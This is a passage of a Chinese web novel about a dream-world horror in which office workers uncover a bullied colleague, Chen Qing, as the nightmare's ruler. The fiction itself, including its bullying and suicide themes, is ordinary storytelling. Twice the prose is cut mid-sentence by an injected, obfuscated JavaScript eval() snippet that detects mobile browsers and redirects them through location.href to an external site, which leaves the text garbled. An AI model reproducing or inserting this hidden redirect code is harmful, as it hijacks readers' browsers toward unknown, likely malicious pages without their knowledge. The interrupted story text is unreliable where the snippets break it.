一只触手突然在黑水中出现,横行无忌地朝着苇思航而去,苇思航心中大骇,但除了眼睁睁看着那触手卷住自己的身体,拼命挣扎也无济于事。 不是,她运气是不是也太差劲了一点? 还有,怎么又是触手…… 触手卷住她的腰的力道还算可以接受,在苇思航快要窒息而死的时候,将她带出了黑水之中。 “咳,咳咳……” 那条触手竟然松开了她,身下接触到干爽的硬地,苇思航大口呼吸,奋力咳嗽,想要清空肺里并不存在的黑水。那只触手则急速缩小,规规矩矩地退到一边,像只乖巧的没毛狐狸尾巴。 它身边站着一个人,随手拍了拍它,夸奖:“乖。”触手欢快地卷起又松开。 听见那个声音,苇思航不敢置信地往上看去,看到那双熟悉的红色绑带漆皮高跟靴,瞳孔地震:“我、靠。” 红发女人嘻嘻笑道:“你叫错了吧,我不叫我靠,我叫陆萌。” 苇思航坐起身来,看着周围,很快认出来这里是哪里——西塔的停车场B3! 连接东西两塔的连廊就在不远处,如果猜的没错,刚才触手就是把她从连廊下的黑水里捞出来的。 “你没死啊,陆萌!” “你也还活着嘛,好样的,苇~姐!” 陆萌三言两语交代她自己为什么会出现在这里。 当时,她刚跑出去,就发现触手怪的目标是她,于是当机立断,临时改变了方向,转头扎进了电梯,那时苇思航已经跑远了。 触手怪好不容易声东击西,将自己的大本营转移到电梯里,转眼又被陆萌抓住了新把柄,当下没气的直接撅过去。 吃一堑,它怎么尽长个,也不长智啊! 像是鬼打墙一般,双方的对峙又开始了。只是这次从楼梯间转移到了电梯间。 鉴于陆萌现在好端端地站在苇思航面前,大概可以得知这场比试的最终赢家。 在那期间恰巧发生了两件事。 首先,像是受到了某种召唤,触手怪离开了西塔,至今未归, 然后,在前者离开期间,电梯间的“肉瘤”意外孵化了。 触手怪这时估计死的心都有了。 “呐,就是这个可爱的小东西。”陆萌说着,给苇思航隆重介绍一旁正在打滚貌似人畜无害的触手宝宝——很难想象就是这玩意儿刚才给她从黑水里捞出来的。 比起苇思航之前见过的触手怪,触手宝宝从外表上看,可漂亮多了。它通体灰白,有种半透明的胶质感,软乎乎,胖嘟嘟的,活像史莱姆捏成的章鱼尾巴,还是卡通版。 “我给它起名叫大触。”陆萌说道,“大触”亲昵地拱着她的手心,好像在撒娇,“因为它出生的时候周围就我在,所以,呃,好像认主了。” 苇思航由衷道:“……你运气真好。” 死里逃生还能收服灵宠!这样的剧本她怎么没有! 陆萌随手掏出一块建筑垃圾,领着大触走远几步,搓下上面斑驳的墙皮,喂给大触吃,苇思航在一边看呆了。 陆萌一边喂,一边解说:“宝宝还小,消化不好,先吃点边角料开开胃。” 留大触在那里吃着,她重回到苇思航身边,道:“它按习性讲是要吃人的。不过我骗它说那是人类的脚皮。” 苇思航:“……” “没事,它没长眼睛,听力也差,是个劣级种。”陆萌直言不讳,跟着苇思航的目光瞥了一眼,叹了口气。 早知道是个这种货色,她何苦花那么长时间等它孵化啊! ——当然,这些话她是不可能告诉苇思航的。表面上,她是走投无路,才被迫和克苏鲁的卵打交道。 又看了一眼大触,好吧,看在它目前还算可爱和好用的份上…… 苇思航反应过来:“那个什么……克苏鲁?” 很难想象眼前的“大触”跟那个威风凛凛的名字的关联…… 提到这个,陆萌痛心疾首:“长歪了,这山寨的,特苏鲁差不多。” “……” 据说是孵化过程中转译出现了问题……对这一切,苇思航都只有默默听着消化的份,陆萌见大触又撒着娇扭上来,又掰了点碎块打发它:“乖,加餐。这次尝尝脚趾头。” 大触欢快地滚到一边去品尝着嘎嘣脆的建筑垃圾。 ……有没有可能后天的教育也有很大问题?! 说回正题,陆萌跟刚孵化出来的大触一起,因为不知道通过连廊的方法,不敢贸然通行,于是暂时待在了原地,直到空中那个铁盒子突然出现,亲眼看到苇思航像个炮弹似的从上方俯冲下来。 苇思航尚未来得及解释自己与陆萌分开后经历的种种,突然想到:“我在东塔也发现了触手,我以为只有西塔有,之前还纳闷来着,难道说……它们是同一个东西?” “有可能,你说的听上去很像特仑苏……啊不,克苏鲁的人体异化现象。”听完苇思航描述的刘晨曦,触手和人组合成的怪物,暂封克苏鲁百科的陆萌说道,“我想,应该是梦主吸收了克苏鲁怪物之后,也可以动用一些克苏鲁的元素来外化这个梦境,那只怪物的消失,很可能也跟梦主有关。” “——我遇到梦主了。”顺理成章的,苇思航和盘托出。 陆萌果然一愣。 “她在我前面跳下来的,你看见她了吗?” 陆萌却摇摇头:“那倒没看见。” 也是,小晴拥有梦中绝对的外化能力,说是这个世界的主宰也不为过,虽然苇思航亲眼看见她跳下去了,但不代表着会跟她一样跳进黑水里,说不定早已瞬移,回到办公楼里去了。 苇思航又想到高空之上,小晴对她说的话。 她说她会醒来,今天还要上班去……应当就是要实施她杀人计划的意思吧?而在梦魇中,会发生什么?什么叫他们三个人永远在一起? 还有一个最重要的问题。 陆萌眨巴着红睫毛的眼睛,忽闪忽闪,问苇思航:“苇姐,你说的那个小晴,究竟是谁呀?” 苇思航也很头疼。 她根本不认识叫这个名字的女同事啊!听小晴那意思,她之前还对她颇为照顾?有那么一个人吗…… “或者换个思路,想想她为什么要杀掉那些同事?说不定能根据她的动机推测出她的身份呢?” 苇思航苦笑道:“我现在都不知道到底哪些是她的仇人呢,你不知道东塔那边的情况,人都死的差不多了,都没留下什么线索。唉,要是能找到我一开始那张名单就好了……” “这是什么?”陆萌忽抬手,抓着她兜里露出的一角,扯出一张折起来的名单。 “裁员名单……啊,我都掉水里去了,它还在呢?”苇思航十分惊讶。 “那又不是真的水。”陆萌答道,低头看着名单,一目十行。 苇思航心想,连她都看不出什么所以然的东西,陆萌就更不可能了……吧?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“大触,吐!大触,吐!”旁边,准备走前,陆萌走到大触身边,严肃地劝导,流动的史莱姆质感里可见一个黑色的小东西在滚动。 “这是人眼睛,你不能吃,给爸爸吃!” 大触不情愿地吐出一个圆圆的东西。 “孝顺宝宝。”陆萌撸了撸大触,捡起那个东西,看了看。 “这是你的吧?” 苇思航见陆萌递过来一个耳麦。 这玩意被大触身上分泌的粘液弄得湿漉漉的,陆萌又说什么人眼睛,怪恶心的……又骗小孩呢!等等…… “这个坏了,用不了了……”苇思航下意识道,如同打脸一般,耳麦里传来呼喊的声音。 “苇姐,能听到吗?不要相信小晴,她是梦主!不要相信小晴!” ——是含晦! 苇思航十分激动。 “喂,喂?能听到!含晦?你在哪里?我们马上过去21层!” 她按住耳麦的通话键,也不知声音传过去没有,那边的通讯被突然切断了。 不知道对方发生了什么,情况再次变得急迫起来。 苇思航深吸一口气,陆萌一手揽着大触,已经在前方的连廊入口等着她了。 走前,陆萌跟她确认,像是不太信任:“苇姐,你真知道怎么过去啊?” “少废话!跟紧我!”苇思航嘴上这么说,再次看到光怪陆离的连廊通道,心里却在打鼓。 她已经走过两次了,肯定没问题…… 那个念头又浮现脑海。 ——她真的能改变这一切吗? 当前一步迈出,她身体微晃,好容易稳住身形。 下一秒,像是脚底看不见的地板被抽走,苇思航直直坠落下去。 29. 28. 黑池(二十一) “苇姐……这就是你说的……跟着你啊?” 危机时刻,陆萌眼疾手快,抓着苇思航的一条胳膊,她才没再掉进黑水里。 陆萌和大触合力把苇思航拖了上来,正能量没正能量到,自残的环节也省了——苇思航的一只胳膊当场脱臼。 “啧啧,你这身体也太差劲了,要强化才行啊,真是,怎么活到现在的……”陆萌一边帮她装回胳膊,一边嘟嘟囔囔。 苇思航的心情原本有些低落,在听到陆萌下一句时彻底炸毛了。 “苇姐,你看着挺瘦的,体重多少啊?”陆萌苦着脸问。 对个人信息一向坦然的苇思航不知道为什么,心中腾得冒上一股邪火,忍了忍,反问道:“……那你呢?” 陆萌毫不扭捏:“我?160。” “……你有160?”苇思航这次是真的惊讶了,“我说的不是身高,是体重。” “对啊。体重。” “……那你多高啊?” 陆萌:“185,186的样子。” “……” 苇思航突然意识到一个问题。 身高185,体重160…… “你不会……是男的吧?” “我是男的啊,”陆萌挠了挠脑袋,浅笑起来,“啊,苇姐,我没跟你说吗。” “你不是说你是护士?” 陆萌像是回忆了一下自己之前说过什么:“嗯啊,男护士。” 苇思航深吸一口气。 她竟然之前都没有意识到,细想起来,又觉得不是完全没有蛛丝马迹,等等…… “我好像知道小晴是谁了……” 她很确定,她没有像小晴一样的女同事。 ——因为“她”是男同事啊! 她就觉得小晴给她一种莫名的熟悉感,脑海中立刻浮现出一个腼腆内向的男孩子,新职员,21岁,和她一样的金牛座…… ——他的名字叫陈青。 * “事先声明,我只是爱打游戏,可没有性别认知障碍噢!”陆萌举起双手澄清。 苇思航漠然地瞥了她……“他”一眼,没说话,但那表情就像在说:“谁问了?” 连廊暂时无法通过,苇思航心里的犹豫成了大问题。 因为接二连三的冲击,让她的内心也产生了动摇。 小晴就是陈青,在他的梦里,他是一个女人……性别认知障碍是很明显的解释,似乎一定程度上也说明了整个梦魇中自毁倾向的来源。 如果下次再见,为了完成她的目标,她有把握杀掉他吗? “也有可能,”陆萌沉思着看向前方的连廊,“是梦主故意为之,让连廊无法通过,她不希望别人到西塔来?” 他的怀疑不无道理,连廊比之前显得更加残破,原本至少还有一层地板,如今已经完全消失了。 难道西塔这边藏了什么? “你想去看看吗?”陆萌提议。 “走着!” 没有了克苏鲁触手怪盘踞的西塔给人以轻松宜人的感觉,这里没有鲜血,没有死尸,没有怪物,连电灯都好像比另一边要亮些,驱散了黑暗与阴霾。 又一次,苇思航跟着陆萌走进电梯,心里直打鼓。 电梯里只有一个按钮,通往四层,陆萌按了楼层按钮,又按了关门键。 电梯门缓缓闭合。 苇思航深深吸气。 他们身处B3,电梯却继续下行,那种感觉好似要深入地底。 又或是深入梦主的内心深处。 苇思航隐隐觉得,在这里能找到她问题的答案。 十几秒之后,电梯停靠在4层,“叮”的一声,电梯门开了。 什么也没有发生。 苇思航和陆萌顺利进入四楼办公区。 这里的环境和现实中一模一样,凌晨的办公室里一个人都没有,苇思航顺利打开了灯,找到靠窗的“陈青”的工位。 桌面只有办公电脑,简洁的像是要随时跑路,这一排只有他一个人。 ——我总是一个人。 ——每次站在四楼往下看,总是会有跳下去的想法,只是想到可能摔不死,还要给别人添麻烦,所以还是算了。 苇思航的目光从窗外的景色上收回。其实很难说有什么“景色”可言,路灯照着一棵光秃秃的快要枯死的树,像是一个人被烧死了站在那里,附近的建筑工地在下面搭了一个小棚子,一根裸露的金属管十分有安全隐患地朝天支棱着。 “你那边找徐振,工位上写了名字的。”苇思航对陆萌道,自己则在陈青的座位上坐下。 哪怕有一个人懂我的心情…… 苇思航叹了口气,拉开一旁的抽屉,里面是一些简单的办公用具,压在最下面的一张纸,赫然是徐振的辞职信。苇思航的手碰到鼠标,休眠的电脑屏幕亮了起来。 * 我知道徐振要辞职了。他猛踹打印机,怪机器不出纸,研究了一会显示屏上的英文提示没奈何,过了一会,只能气急败坏地走了。 我猜他从来没有给打印机换过纸。 我重新塞进装满的纸盒,委屈的打印机这才抽抽噎噎地继续任务,夹在领导要的一大摞文件之中,我看到了他的辞职信,顺手偷偷藏了起来。 他要走了,我却不行。 我是说,我可以,但我不行。 所有人都在等我辞职的时候,我反而要坚持下去,给他们看。 他们一定在背地里说,男厕那个穿女装的变态,脸皮真够厚的,怎么还能待得下去啊? 我没有勇气当着他们的面与他们对质,让他们日复一日地看着我,好像看到厨房里一只杀不死的蟑螂的心情,这就是我软弱的报复。 我不是变态。 我只是穿我本来的衣服。 也不是穿给你们看的,傻逼。 戏弄和侮辱别人的,才是变态。 这些坚硬的话语长期在我的喉头滚动,像是粗粝的小石子,我却始终吐不出来,磨得满口血腥。 我真正的声音卡在喉咙里,又细又小。 “对不起。” * “你找到什么?”越过几排办公桌,苇思航探头问陆萌。 陆萌的脸被电脑屏幕照亮,慢慢滑动着鼠标:“徐振和同事的聊天记录,唔,还有陈青之前在漫展的女装视频。” “他们打了一个赌。” * 大学毕业之后,我幸运地找到了一份工作,也就是这份工作。工作很忙,但我觉得很充实。 一忙起来,大学时期的社团活动就无法兼顾了。 我退出了动漫社。 我和校园时期的男朋友分手了。 我很孤独。 这个时候,我在交友软件上认识了“X”。他也是职场人,跟我更有共同语言,他知道我的秘密,最近我们准备见面了。 “你这周末有什么安排?” “啊……这周末可能不行,公司前辈约了一起打羽毛球……” “我也喜欢打羽毛球,哈哈,要不等你结束了,我去接你?” “也行,好呀……” “你的腿好好看,会露出来吧?里面穿什么?……” 我很期待那一天。 我不喜欢社交,难得公司同事愿意带着我这个新人一起玩,根本没给我拒绝的机会。不过想到之后还能和“X”见面,出门便有了动力。 在羽毛球馆。 “阿青,穿这么多,一会不怕热啊?”刘晨曦,刘姐看着我打趣,她今天的唇彩很好看。 我不好意思,脱掉长袖外套,里面穿着短袖。 “哇,阿青,你好白啊,平时是不是都不晒太阳啊?”另外一个同事笑道,又转头冲刘晨曦道:“感觉阿青皮肤比刘姐还要好。” “当然了,年轻嘛。好像是刚毕业,才21岁?”另一人附和。 刘晨曦不喜,哼了一声:“真烦你们这一群大老爷们儿,早说啊,我出门就化妆了。” “你没化妆,那脸上这抹的是什么?” “BB霜不算化妆!” 我有点不自在,只能尴尬地笑着。 徐振在一旁拉伸,看了我一眼,忽然冷哼一声:“你脚上穿的是什么。” 我低头一看。我们的鞋子很相似。 其实我一开始也不知道那是什么。 “穿不起,也不用买假的来吧。”徐振皮笑肉不笑,道,“哪怕买个高仿前,先做下功课,是四片叶子还是三片叶子呢?” 他经过我身边,拍了拍我的肩膀。 我沉默半响,嗫嚅道:“对不起。” * 陆萌翻看着徐振组建的群聊。 电脑屏幕上滚过聊天记录。 “怎么公司又来了一个娘娘腔啊,我靠,说话吞吞吐吐的,真是受不了。” ——陈青刚进公司的时候,群聊里仅仅是某人随便提了一嘴。 然后某一天,刘晨曦往群里丢了个视频:“笑死,我侄女上次去参加漫展的视频,我怎么好像看到咱同事了。” “我靠,真的是那个娘娘腔啊!” “原来是女装大佬!失敬失敬!” “别说,这长相去当网红,是不是会红啊?” “我赌十根辣条!他已经没有小辣条了!” “他是不是喜欢男的?上次给我买喝的,不会是喜欢我吧,好怕怕~” 最后是徐振提议。 “要不我们来打个赌吧~” 【图片】 【图片】 【图片】 “兄弟们帮我选下,哪张当头像会是咱们小阿青的菜?” * 手机在震动。 X:“来卫生间的最后一个隔间,给你准备了惊喜。” 我回他:好的。 X:“我说的是女厕,不要走错了哦。【调皮】” 信息跳出来的那一瞬间,我心好像也跟着跳了一下。 “那不好吧……” X:“别怕,我刚刚去看过了,那边现在没有人,而且我们小青本来就是女孩子呀,又 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那个脚步如同死神一样停在一扇门板之外,不客气地敲了好几下。 “里面的,快出来!别逼我破门!” “我数到3,别敬酒不吃吃罚酒!” “几十年前这种是可以报警的,耍流氓罪!知不知道?” “3,2……” 我急得满头大汗,最后关头,颤抖着按下冲水按钮。 正要鼓起勇气去开门的时候,那边已经耐心耗尽。门被撞开了。 我至今还会梦到这一幕。 年长的保安面目凶狠,拿着警棍,一脸鄙夷地看着我,身边是我去而复返的同事们,徐振,刘晨曦……一个个脸上带着雾气朦胧的笑容。 有些梦里,X送我的蕾丝胸罩被下水道冲走了,有的梦里,胸罩在马桶里打转,有的梦里,胸罩还箍在我赤/裸的身上。 “都是误会!这是我们同事……年轻人,估计网上玩什么游戏……反正也没影响到其他人……要不就算了吧!” 保安直说晦气,骂骂咧咧地走了。 我一直低着头,看着自己的鞋子。 不远处,还有徐振的鞋子。两者一眼之下,几乎看不出什么区别,除了正版的四叶草好像碾在我的脸上。 刘晨曦忍住笑意,语气如同知心姐姐一样温柔:“原来是阿青啊,我还以为是哪个变态闯进女厕,吓死我了……” 徐振手里则举着手机,对着我拍,他吹了一声口哨,吐出我与X之间亲密的昵称,恶劣地笑着:“所以,你里面什么也没穿啊?” “真骚。” 我如堕冰窖。 * 刘晨曦和徐振的单独聊天记录出现在电脑屏幕上。 刘晨曦:徐哥,我被裁了。 刘晨曦:早知道是这样,当初徐总走的时候,我就铁了心跟他一起走了。唉,现在工作也不好找,徐哥,你那边,或者徐总那边有什么机会吗? 苇思航给陆萌补充场外信息:“都说徐振在公司高层有关系,好像是他的叔叔吧。” 仗着靠山,徐振在公司横行无忌,众星捧月。 大环境不好,他们公司业绩下滑,靠山也有倒掉的一天。 那个曾经一度热火朝天的群聊渐渐冷了下来。树倒猢狲散,一口一个的“徐哥”保不住他们中的任何一个。 徐振没有回复刘晨曦的信息。 直到一天后,刘晨曦又发来一条。 刘晨曦:徐振,你辞职啦?? 她的语气又惊又气。 徐振的回答也很奇怪:你在威胁我? 刘晨曦:发错人了吧,傻逼。 “这是咋了?”陆萌挑起眉毛,“内讧?” “看起来是呗。”苇思航漠然道。 陆萌随手点开徐振的邮箱,很快明白了他着急辞职的原因。 有人发给他的匿名邮件,里面的内容一目了然,是他和其他男人的合照,里面徐振身穿露脐上衣,笑容放肆,动作大胆。 为了捉弄陈青,他甚至不屑于申请一个新的软件账号。 私密照片被爆出,思来想去,多半是公司里的知情人搞鬼。 裁员没到他头上,他自己倒先待不下去了,二话不说准备辞职。 * 陈青策划了他们的lastday。 那种心情,怎么说呢,像是去赴一场期待已久的约会。 这天晚上,陈青和徐振一齐进入魇境之中,最早的梦境侵噬,从这里开始。 徐振被动坠入陈青的梦魇,第一眼,甚至没有认出他来。在清醒状态下,他被诡异的触手怪物贯穿,保有一丝神智,眼睁睁看着自己的身体被怪物控制,他的喉咙震动,却发不出任何声音,粘腻的触手贴着他的皮肤,如同攀附的毒蛇。 他的眼睛陡然睁大了,当看到眼前那个莫名熟悉的,朝他微笑的女人。 ——是他。 30. 29. 黑池(二十二) “苇姐,不是我说,你们公司八卦真多啊……这些你一点都不知道?你难道是山顶洞人吗?” 苇思航先是无语,随后诚实地摇摇头。 不跟人打交道也就这个好处了。 努力想要融入又天生柔软敏感的人承受了最多。 在陈青的电脑上,苇思航看到了他和梁栋的聊天记录。 对了,梁栋。 在进入陈青的梦魇之前,苇思航从来不知道公司里还有这一个人,他是整个办公园区的保安。 如果梦中梁栋和小晴是一对情侣的话…… 但从聊天记录来看,双方似乎并不是情侣关系。 最后一次,陈青鼓起勇气示好,却以梁栋的委婉拒绝告终。 不知道是不是这个原因,梁栋本人没有在这个梦魇中,陈青则移情到了扮演“梁栋”的演员含晦身上。同时在现实中,陈青做出了极端选择的决定。 明白了事情的来龙去脉,苇思航唏嘘之余,想法却异常清晰。 “咱们得想想办法,尽量回去另一边……” 尉迟龙鸣和含晦还在那边生死未卜! 陆萌不由得看了她一眼。 “我亲眼见到,触手怪进到楼里,没有通过连廊,它现在消失了,怀疑是去到了东塔,是不是说明,除了连廊之外,双塔之间还有额外的通路?” 只是,在哪里呢…… 西塔这边一个人也没有,也很奇怪…… 一向吊儿郎当的陆萌此时的表情却异常凝重。 “她跟你说的,她、你和梁栋……你那个幽灵朋友……永远在一起?” “嗯啊。” 陆萌沉思片刻,道:“我有一个大胆的猜测……” “什么?” “要做好最坏的情况发生的准备……” “什么东西?你倒是说明白啊!” 陆萌沉吟:“我怀疑她和显灵做了交易。” “……什么显灵?谁显灵了?”苇思航丈二和尚摸不着头脑。 ——科普时间到! 陆萌从一个意想不到的地方切入:“你觉得,我们刚才遇到的克苏鲁怪物归属于什么灵?幽灵,还是梦灵?” “……幽灵?不,不,梦灵?或者强大梦灵的召唤物?”苇思航胡乱猜测。 陆萌一脸高深莫测,冲着她欠揍地摇了摇手指:“都不是哦。” “……”所以刚刚那个问题是故意挖坑给她跳呢? 眼见苇思航马上就要发怒,陆萌见好就收,娓娓道来。 “之前说过,触手怪代表的‘克苏鲁’其实是现实中人们共同承认的某种概念的映射品,被称为‘魇怪’,其实它们还有一个学名,叫做‘恒灵’,是由于现实中一种相对恒定的观念形成的。” “知道了,幽灵梦灵恒灵,物质决定意识……”苇思航机械地重复着,活像上学的时候背答案。 陆萌忍不住笑了:“我刚刚提到的‘显灵’,是在恒灵之上更高的存在,它们已经超脱了现实的制约,反过来影响现实和灵界。其中最为强势的三大显灵,分别是奇迹、权威和神秘。” “奇迹、权威、和神秘。”苇思航跟着重复一遍,只恨手头没有一个笔记本给记下来。 她的脑子:“恒灵”,抽象;显灵,抽象中的抽象…… 为了避免苇思航不明白,陆萌继续举了个例子:“你可能会好奇,如果说灵界中的存在是现实中理念的映射,那么灵界有‘上帝’‘佛祖’之类的存在吗?” “答案是有的,它们也属于恒灵的范畴,具有相当强大的力量——但即便是这样的恒灵,也无法与显灵作比。甚至可以说,它们的力量来源。正是因为它们一定程度体现了奇迹,权威和神秘,所以让它们和背后代表的概念在现实中横行无忌。” 苇思航只有一味点头,努力不让陆萌看出来,她脑子已经不在转了…… 还没完,陆萌随手扯过办公桌上的笔记本和签字笔,在纸上画了一个图案,又推给苇思航。 “你还记得这个吧?” 苇思航顿感振奋:“见过!是灵管局的标志!” 三个圆重叠在一起,她之前在心里暗暗吐槽过,又像奔驰又像奥迪的…… “这代表‘三位一体’。如果你去问神学家,他会告诉你是圣子圣父圣灵;灵管局官方发言人会告诉你,这代表了实界,灵界和真界的阡陌交错。” 苇思航胡子眉毛一把抓,只是抓住关键词重复:“真界?” 实界,灵界,这两个仅听名字她还能明白意思,至于“真界”则是全然陌生。 “没错,如果说实界代表着物质,灵界代表着精神,在这之外还有一层世界,被认为是一些抽象的真理——比如数学和科学界的定理法则,他们不以现实的映射转移,只能被发现,不能发明。”陆萌道,“这三个世界同时存在,而显灵,就存在于它们的交汇之处。” “奇迹、权威、和神秘。”像是触发了关键字,苇思航又重复了一遍三单显灵的名字,在她的脑子完全忘光之前。 “其实这个标志不对,会让人误解这三个世界的关系,其实应该这样才对……” 说着,陆萌又在纸上画了起来,大圆套小圆,分别代表着灵界,实界,真界。 “等等,这和咱们现在有什么关系?”苇思航不得不发问。 她的感觉像是误入数学教室上,老师一开始在黑板上写下1+1,转眼定理公式写完一黑板了,她才想起来自己其实是路过来借用卫生间的。 “这不是为了让你知道什么是显灵嘛!顺便发散了下……”一股特级教师味的陆萌咂咂嘴。 “我大概明白了,显灵……就像这个世界的神一样,呃……”苇思航再次开口,马上发现自己又落入思维的窠臼,三个世界,“神”只是观念的映射……陆萌费尽心思辨析这些观念,谁知这些知识点是一点没进她脑子里啊…… 没事,慢慢来吧。苇思航放过自己,反正陆萌好像也没什么所谓,她又清清喉咙,接着问:“那你说陈青和显灵做了‘交易’是什么意思?” “有那边一回事。”陆萌沉吟,“陈青那样笃定,今后要让让你和那个谁——名字又忘了——还要他自己从此愉快地生活在一起——可是在哪里?我们都知道,这个梦魇迟早是要结束的,他引发了灵坟,害死了那么多幽灵,未来必将接受灵管局的调查,同时肉身也将在现实中陨灭……难道说,他相信之后会有一个新世界,是他的容身之处?” 兜兜转转,总算绕回正题。 “新世界?” “没错。”陆萌笃定道,“借助三大显灵的力量,可以办到。你知道,灵界虽然有与实界重合的部分,其中还有着极为广袤的,被称为‘边缘’的区域,这里分布着一个又一个迥异的‘新世界’。所谓‘新世界’——嘛,可以理解为,一个长期存续下去的灵坟。陈青应该就是被他们选中了……” 苇思航:“‘他们’是谁?” 陆萌:“三大显灵和他们的追随者,在灵界和实界中都有他们的身影出没,甚至可以在魇境灵坟之中来去自如。他们就像中世纪的魔鬼一样,专找走投无路的人,比如陈青这种。” 苇思航:“建起新世界,对他们有什么好处?” 陆萌:“很简单,为了扩大三大显灵的势力。被他们选中的人,将会成为新世界中的主宰,俨然成为奇迹、权威和神秘的化身,从而影响更多的生灵。这么说吧,这个灵坟将会按照陈青的设想一直持续下去。” 苇思航欲言又止,陆萌看出来,了然道:“你是好奇,这对陈青来说听上去是好事吧?” 苇思航点点头。 陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743147|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萌道:“建立起新世界的过程,就像是和魔鬼做了交易,代价是你的灵魂……作为世界的主宰,普通人根本驾驭不了那种力量,一开始可能求仁得仁,但时间一长,最终多半只有迷失在‘边缘’,沦为显灵的傀儡——这一个结果,那下场无异于灵魂堕入地狱。” 停了一下,陆萌又道:“当然,再惨也比不过被卷入其中的无辜灵体,已经死在灵坟中的那些,连踏入‘新世界’的指望都没有。还有就是你和那谁那种了,被主宰拉入新世界的选民,大多失去意识,成为NPC的存在……” 苇思航心里漫过一丝凉意,却嘴硬澄清道:“含晦,‘那谁’的名字叫含晦!” 从魇境到灵坟,再到所谓‘新世界’,苇思航感到事情一步步地超出她的想象。 她或许一开始就听电子音的话,一头撞死回到停车场重新来过…… 这个念头甫一出现,苇思航摇了摇头,把它甩出脑海,至少不要让自己为已经做过的事情后悔。 “……苇姐?” 口袋里的耳麦发出微不可察的震动,一个声音传来。 不是含晦是谁? 苇思航一惊,从口袋中拿出耳麦,急道:“含晦?” “是你吗?含晦?” 那边却又没了声音,好像刚才的那声只是她的错觉。 咝咝的电流声,说明通讯是接通状态。那边保持沉默。 苇思航很快明白了,那边有人。 办公区头顶,两侧走廊如摆设一般沉寂的摄像头突然调转脑袋,齐齐对着苇思航和陆萌,像是毒蛇发现了猎物一般紧盯,黑洞洞的镜头旁亮着莹莹的绿光。 是陈青。 “苇姐,你怎么跑到那里去了……真是拿你没办法。” 果然,传来那个熟悉的女声。 “也好,虽然是提前了一点,”不等她回答,陈青好像在自言自语,“我会和梁栋一起去那边找你的……等我回来。” 那声音分明温柔,听在耳中,却给人一种不寒而栗的感觉。苇思航不知道陈青话中的深意,当即只有一个想法,她手心出汗,当即按住耳麦的通话键,道。 “你知道现在梦里这个梁栋——他其实不是真的梁栋吧!”苇思航壮着胆子道,“他的名字叫含晦。” 那边静了一下。 “……我知道。但是我更喜欢叫他梁栋。” 听见陈青的回答,苇思航的心里凉了一片。 她知道,这个回答几乎决定了她和含晦的命运。陈青心意已绝。如果确实存在什么‘新世界’,她并不在意它是否真实。 “等我回来。” 陈青又说了一遍。 自始至终,她仿佛没有注意到苇思航身边的陆萌,不是她在意的人,就不应存在在她的世界之中……或许早该这样了。 “你……你要去哪儿?”苇思航鼓起勇气再问。 陈青却没有再回答她,耳麦那边传来咝咝的电流一样的忙音。 就在这时,苇思航的面前,一张有她署名的红色工牌突兀出现,仿佛来自虚空之中。 陆萌没有猜错,即将开启一个属于陈青的新世界。他们此时就正站在“新世界”的卵鞘之上——陈青选择在西塔破茧重生。 不容苇思航拒绝,工牌闪了一闪,再次出现时,已经挂在她的脖子上。与此同时,虎视眈眈的摄像头开始不详地闪烁,办公区内所有电子设备好似都在此时活了过来,电话铃声此起彼伏,发了疯一样地撕裂平静的氛围,电脑显示屏上出现血红的大字,代替屏保闪烁着:“非授权人员入侵!警报!非授权人员入侵!警报!” “快跑啊!”陆萌反应过来,大喝一声,更像是对着自己说。 一条电源线突然从旁斜出,如同蟒蛇一样,铺天盖地的敌意化作危险的电流,朝着陆萌的所在鞭笞! 31. 30. 黑池(二十三) 仅有两人涉足的西塔办公区中,所有物品突然活了过来,转眼化作致命的凶器,目标只有一个——陆萌! 千钧一发之际,陆萌闪身躲过,没等他有丝毫喘息的机会,下一击便接踵而至,这一次,陆萌直接拽着苇思航,当作人肉盾牌,挡下了飞来的奖杯凌厉的攻势。 “我靠!” “哎哟!” “你叫什么?” “我还要问你呢!你叫什么?” 苇思航被陆萌拽住的当场,忍不住发出一声惊呼,胸前的红色工牌发出微光,在她周身形成了一道类似护盾的东西,奖杯击中的瞬间,像是落入泥沼,立时被护盾消融,本人自是毫发无伤。 看来她胸前的工牌给了她某种豁免权,苇思航却并不觉得高兴,想到陆萌说的,这说明她即将被环境同化,成为“新世界”的NPC。 “非授权人员入侵”显然指向陆萌,他现在靠着苇思航做肉盾,一边放出大触掩护,频频躲闪,不时发出劫后余生的惊叹。此时的西塔办公区已经俨然成了战场一般。 听到苇思航的问他叫什么,他此刻还有兴致嘴贱。 “我叫什么?我叫陆萌啊!” 苇思航:“……” 说话期间,他还腾挪躲闪不停——虽然但是,他这动作也太顺手了些,苇思航满头黑线地任他抓着。 “快,先找个地方躲起来!” “去哪儿?” “嗯……那儿?” 陆萌指着前方,走廊尽头熟悉的男厕标志。 目前看起来唯一可能逃脱设备追杀的避难所。 陆萌二话不说,朝前踏出一步,不想被身后的苇思航拉了一把,惊险躲过订书机发射的已经成了杀人暗器的钉子。 陆萌冷汗直冒:“谢谢啊。” 苇思航仍旧拉着他不放,方才脑中灵光一闪,她开口道:“去这边——” “啊?不去那个……”陆萌恋恋不舍,被苇思航拽着走,频频回头。 “——去女厕!”苇思航沉声,一锤定音。 两人一路狂奔,随时注意着身边的动向,地板开裂了,天花板好像某种打地鼠的装置,突然砸下,掉落的电缆如同绞索一样悬在半空……苇思航认命承受了以上所有,好在一路有惊无险。他们走到哪里,沿路的摄像头就转向哪里,冷冷地注视着他们拐进偏远的女厕,身后的杀人机器鞭长莫及,和摄像头的视线一起,被关闭的门扉挡在身后,四周重新安静下来,两人背靠着厕所门,劫后余生地粗喘,直到呼吸慢慢平复。 滴答,滴答,滴答。 